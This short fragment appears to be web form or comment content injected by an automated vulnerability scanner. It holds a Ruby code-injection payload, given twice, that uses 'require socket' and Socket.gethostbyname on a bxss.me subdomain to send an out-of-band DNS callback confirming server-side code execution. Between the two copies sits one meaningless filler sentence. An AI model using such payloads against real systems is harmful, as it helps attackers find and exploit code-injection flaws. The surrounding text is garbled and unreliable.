“+”A”.concat(70-3).concat(22*4).concat(110).concat(90).concat(105).concat(88)+(require”socket”
Socket.gethostbyname(“hitfy”+”dqsatcoz90683.bxss.me.”)[3].to_s)+”

Docy turns out that context is a key part of learning.
“+”A”.concat(70-3).concat(22*4).concat(110).concat(90).concat(105).concat(88)+(require”socket”
Socket.gethostbyname(“hitfy”+”dqsatcoz90683.bxss.me.”)[3].to_s)+”